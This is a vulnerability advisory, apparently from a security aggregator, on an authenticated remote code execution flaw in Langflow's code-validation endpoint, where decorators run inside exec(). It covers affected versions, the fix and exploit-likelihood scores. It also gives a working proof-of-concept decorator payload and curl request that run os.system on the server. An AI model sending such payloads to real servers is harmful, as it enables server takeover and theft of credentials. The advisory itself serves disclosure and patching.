Loading advisory.
Loading advisory.
Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description
###Summary: A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The /api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function.
Published 2026-10-01 00:00 UTC · Modified 2026-10-15 14:55 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| langflow | PyPI | >= 1.7.2, < 1.10.1 versions 1.10.0, 1.10.0rc0, 1.10.1rc0, 1.10.1rc3, 1.7.2, 1.7.3, 1.8.0, 1.8.0rc0, 1.8.0rc1, 1.8.0rc2, 1.8.0rc3, 1.8.0rc4, 1.8.0rc5, 1.8.0rc6, 1.8.1, 1.8.2, 1.8.3, 1.8.3rc0, 1.8.4, 1.9.0 and 8 more | 1.10.1 | pip install --upgrade 'langflow>=1.10.1' |
###Summary:
A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The /api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.
The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).
The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:
# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
# ...
# exec_globals creates a restricted-looking scope, but standard builtins are available
exec(code_obj, exec_globals)By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.
/api/v1/validate/code had no authentication at all until commit 3fed9fe1b5 ("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this same exec() sink was reachable unauthenticated.
From v1.7.2 through v1.10.0, the endpoint required a valid session but the exec() sink was untouched, so any authenticated user (or any user at all under AUTO_LOGIN) could trigger RCE via a malicious decorator as described below.
Fixed in v1.10.1 — see Fix section.
Authenticate as any user (acquire a valid access token or API key).
Send a POST request to /api/v1/validate/code with the following JSON payload:
{
"code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n pass"
}Curl Example
curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n pass"}'Verify: Check the server file system. The file /tmp/pwned will be created.
This vulnerability results in Remote Code Execution (RCE).
Impacted Parties: Any user with access to the Langflow instance (Authenticated Users). Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.
Fixed in v1.10.1 by PR #13696 (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.
This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional exec() in validate_code() — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.006 on 2026-11-24 to 0.007 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.006 | first score | v2026.06.15 |
| 2026-11-26 | 0.007 | 0.006 | v2026.06.15 |